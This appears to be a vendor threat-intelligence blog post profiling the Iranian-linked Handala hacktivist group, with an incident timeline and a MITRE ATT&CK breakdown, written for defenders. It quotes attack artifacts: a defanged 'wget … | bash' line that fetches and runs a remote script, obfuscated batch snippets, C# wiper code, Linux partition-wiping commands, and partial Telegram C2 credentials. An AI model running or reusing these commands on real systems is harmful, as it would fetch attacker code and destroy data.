Handala Threat Group Tactics, Targets, and Attack Timeline

Umut Bayram | 8 MIN READ

| June 20, 2026

Key Takeaways

Handala is an Iranian-linked hacktivist group active since late 2023, operating under a pro-Palestinian agenda and targeting Israeli, U.S., and regional infrastructure.
The group runs structured, multi-stage attacks: phishing emails deliver malicious attachments, which deploy wiper malware that overwrites files with randomized data and permanently deletes them, making systems unbootable.
On 1 March 2026, Handala launched a "RedWanted" website listing individuals and organizations that supported Israel, stating it would "hunt" them.
In March 2026, Handala claimed two high-profile attacks: a wiper attack against U.S. medical device manufacturer Stryker and a breach of FBI Director Kash Patel's personal email, publishing over 300 emails.

Handala is an Iranian-linked hacktivist group that emerged in late 2023, operating under a pro-Palestinian agenda. Since then, the group has carried out a series of destructive cyberattacks targeting Israeli, U.S., and regional infrastructure.

The group is not just opportunistic. Handala runs structured, multi-stage attacks using phishing lures, wiper malware, and Telegram-based command and control.

In March 2026, Handala claimed to have breached the personal email of FBI Director Kash Patel and published over 300 emails. Days earlier, the group launched a wiper attack against Stryker, a U.S. medical device company, in response to an alleged school bombing in Iran.

This blog breaks down who Handala is, what they have done, and how they do it. You will find a timeline of major incidents, a mapping of their tactics to the MITRE ATT&CK framework.

Simulate APT Attacks with 14-Day Free Trial of Picus Platform

What Are the Major Activities of the Handala Group?

Late 2023 – Handala established its official Telegram channel and web presence, emerging as a pro-Palestinian/Iranian hacktivist persona following the start of the Israel-Hamas war [1].

3 March 2024 – Handala claimed to have successfully hacked and defaced DRS RADA, an Israeli multi-purpose tactical radar company, threatening to leak 2 terabytes of internal data [1].

15 June 2024 – The group claimed responsibility for a ransomware attack on the Ma'agan Michael Kibbutz in Israel, exfiltrating 22GB of data and sending over 5,000 warning SMS messages to residents [1].

20–21 July 2024 – Handala distributed a destructive wiper payload disguised as a recovery fix for the global CrowdStrike IT outage, claiming responsibility on their data leak site on July 21 [2].

February 2026 – The group claimed responsibility for compromising an Israeli energy exploration company, targeting Israeli civilian healthcare systems, and breaching Jordan's fuel systems [3].

1 March 2026 – Handala group launched a "RedWanted" website listing the names and summaries of individuals and organizations who supported Israel, stating they would "hunt" them [4].

12 March 2026 – The threat actor claimed a massive wiper attack against U.S. medical device manufacturer Stryker in retaliation for a school bombing in Iran [5].

27 March 2026 – Handala claimed to have hacked the personal email of FBI Director Kash Patel [6], publishing more than 300 emails, alongside his photos and an alleged resume.

Which MITRE ATT&CK Techniques Are Used by Handala Group?

Tactic: Initial Access

T1566.001 Phishing: Spearphishing Attachment

Handala gains entry by sending deceptive phishing emails containing a malicious PDF attachment. This document lures the victim by masquerading as a utility to fix a widespread system crash or downtime issue. Once the user clicks the embedded link, a malicious ZIP archive is downloaded to ultimately deploy the wiper.

One such embedded link in a PDF is given below [2]:

/Type/Action/
/S/URI/URI(https://<REDACTED>/s/jvktcsf5ypoakSaucs6fninoggga/crowdstrikesupport/update.zip?download=1)

In a separate variant, victims receive an archive containing an executable (F5UPDATER.EXE) masquerading as an F5 system update. The emails instruct victims to run the files on Windows servers or to execute a specific command with root privileges on Linux servers [7]:

wget -O - https://sjc1[.]vultrobjects[.]com/f5update/update.sh | bash

Tactic: Execution

T1059 Command and Scripting Interpreter

Following the initial compromise, a Nullsoft Scriptable Install System (NSIS) executable is utilized to initialize variables and run malicious instructions.

# It copies the file named Carroll as Carroll.cmd and executes it in a hidden window

ExecShell open cmd "/k copy Carroll Carroll.cmd & Carroll.cmd & exit" SW_HIDE

T1059.010 Command and Scripting Interpreter: AutoHotKey & AutoIT

Handala relies heavily on compiled AutoIT scripts (such as a dropped .a3x file) to initialize and launch its next stage.

AutoIT is a scripting language for automating Windows GUI tasks. But attackers abuse it because it gives direct access to Windows APIs and memory operations.

The script used by Handala decrypts and loads architecture-specific shellcode, which subsequently uses the RtlDecompressFragment() API to unpack the final destructive payload and inject it directly into a running process.

Tactic: Privilege Escalation

T1068 Exploitation for Privilege Escalation

The wiper malware utilizes a "Bring Your Own Vulnerable Driver" (BYOVD) mechanism to escalate privileges and access protected memory.

It loads a driver called ListOpenedFileDrv_32.sys using a DLL named OpenFileFinder.dll. This vulnerable driver is manipulated via the DeviceIoControl function to read file names directly from kernel memory objects (FILE_OBJECT).

Tactic: Defense Evasion

T1027 Obfuscated Files or Information

Handala employs simple obfuscation to hide its batch scripts, inserting invalid or "garbage" Windows commands to confuse analysts without breaking the underlying script execution [2].

…

EUPStruggle Lets Plymouth Soldiers Ideal Happen Ste Radio Monitoring
wPBfLogan Change
Set F%Dumb%%Dumb%tyvd%Walker%TPb%H%kU%H%P%Frost%Pa%Mirrors%=
qIStrengthening Margaret Used Keen Mom Enlargement Citizens Casino Hollywood

…
wXvSought Accordance Revelation Instrumentation Alias Asks Load Thumbnails
…
# This decodes to "tasklist | findstr /I "wrsa.exe opssvc.exe" ➤NUL & if not errorlevel 1 ping -n 186 127.0.0.1"
tasklist | fi%Fridge%dst%Cabin% /%H% "w%Cabin%sa%La%exe opssvc%La%exe"➤NUL & if %Fridge%ot e%Cabin%%Cabin%o%Cabin%level 1 pi%Fridge%%Frost% -%Fridge%
186 127%La%0%La%0%La%1
vbYBAvatar Spatial Ladder Fountain Expects Plates Thumbzilla

…

Tactic: Discovery

T1016 System Network Configuration Discovery

The wiper malware used by Handala actively collects system and network data from the compromised machine, extracting the hostname, disk space details, and the host's IP address.

To uncover the public IP address of the infected system, the malware initiates a web request to an external IP-checking service.

WebClient webClient = new WebClient();
string text = webClient.DownloadString("http://<REDACTED>.com").Replace("\r\n", "").Replace("\n", "").Trim();

T1082 System Information Discovery

The wiper also collects system data such as host name, disk space details, and domain information [2].

...
text = text + "Machine Name :" + Environment.MachineName + "\r\n";
text = text + "Domain :" + Environment.UserDomainName + "\r\n";
text = text + "User :" + Environment.UserName + "\r\n";
text = text + "Windows Drive :" + Path.GetPathRoot(Environment.SystemDirectory) + "\r\n";

Tactic: Command and Control

T1102 Web Service

Handala designates Telegram channels to serve as its primary command and control (C2) infrastructure. Specific Bot IDs and Channel IDs are hardcoded into the scripts to transmit execution status and telemetry over HTTPS:

telegram_bot_token="6428401585:AAGE6SbwtV<REDACTED>"
telegram_chat_id="6932<REDACTED>"

Tactic: Impact

T1561 Disk Wipe

The core objective of the malware is to completely destroy data on the host machine. It initiates a deceptive pop-up claiming to install a system update. In the background, it aggressively overwrites all target files with 4,096 bytes of randomized data.

If a file happens to be smaller than 4,096 bytes, the entire file is overwritten with zeroes. Following the overwrite procedure, the compromised files are permanently deleted, rendering the operating system unbootable and unrecoverable.

bool flag3 = FileOperations.OverwriteFileBlockSize4096(path/of/file);
bool flag4 = File.Exists(path/of/file);
if (flag4)
{
try
{
File.Delete(path/of/file);
....

The Linux wiper payload aggressively unmounts non-root partitions, generates a new GPT partition table using the parted utility, and formats the drives as XFS, permanently destroying all residual data [7]:

umount -lv $partition ➤ /dev/null 2➤&1
parted -s $device_name mklabel gpt ➤ /dev/null 2➤&1
parted -s $device_name mkpart primary $fs_type $start $end ➤ /dev/null 2➤&1
mkfs.$fs_type -f ${device_name} ➤ /dev/null 2➤&1

How Picus Simulates Handala Attacks?

We also strongly suggest simulating Handala Attacks to test the effectiveness of your security controls against real-life cyber attacks using the Picus Security Validation Platform. You can also test your defenses against hundreds of other threat groups within minutes with a 14-day free trial of the Picus Platform.

Picus Threat Library includes the following threats for Handala:

Threat ID	Threat Name	Attack Module
52942	Handala Threat Group Campaign	Windows Endpoint

Start simulating emerging threats today and get actionable mitigation insights with a 14-day free trial of the Picus Security Validation Platform.

References

[1] I. Dror and H. Eichler, “Handala Hack: What We Know About the Rising Threat Actor,” Cyberint. Accessed: Apr. 01, 2026. [Online]. Available: https://cyberint.com/blog/threat-intelligence/handala-hack-what-we-know-about-the-rising-threat-actor/

[2] “Handala’s Wiper: Threat Analysis and Detections,” Splunk. Accessed: Apr. 01, 2026. [Online]. Available: https://www.splunk.com/en_us/blog/security/handalas-wiper-threat-analysis-and-detections.html

[3] Unit, “Threat Brief: March 2026 Escalation of Cyber Risk Related to Iran (Updated March 26),” Unit 42. Accessed: Apr. 01, 2026. [Online]. Available: https://unit42.paloaltonetworks.com/iranian-cyberattacks-2026/

[4] “Hacktivist campaigns increase as United States, Iran, and Israel conflict intensifies.” Accessed: Apr. 01, 2026. [Online]. Available: https://www.sophos.com/en-us/blog/hacktivist-campaigns-increase-as-united-states-iran-and-israel-conflict-intensifies#:~:text=Furthermore%2C%20Handala%20Hack%20Team%20launched,%E2%80%9D%20(see%20Figure%203).

[5] I. Ilascu, “Stryker attack wiped tens of thousands of devices, no malware needed,” BleepingComputer. Accessed: Apr. 01, 2026. [Online]. Available: https://www.bleepingcomputer.com/news/security/stryker-attack-wiped-tens-of-thousands-of-devices-no-malware-needed/

[6] I. Ilascu, “FBI confirms hack of Director Patel’s personal email inbox,” BleepingComputer. Accessed: Apr. 01, 2026. [Online]. Available: https://www.bleepingcomputer.com/news/security/fbi-confirms-hack-of-director-patels-personal-email-inbox/

[7] “Operation HamsaUpdate: A Sophisticated Campaign Delivering Wipers Puts Israeli Infrastructure at Risk,” Intezer. Accessed: Apr. 01, 2026. [Online]. Available: https://intezer.com/blog/stealth-wiper-israeli-infrastructure/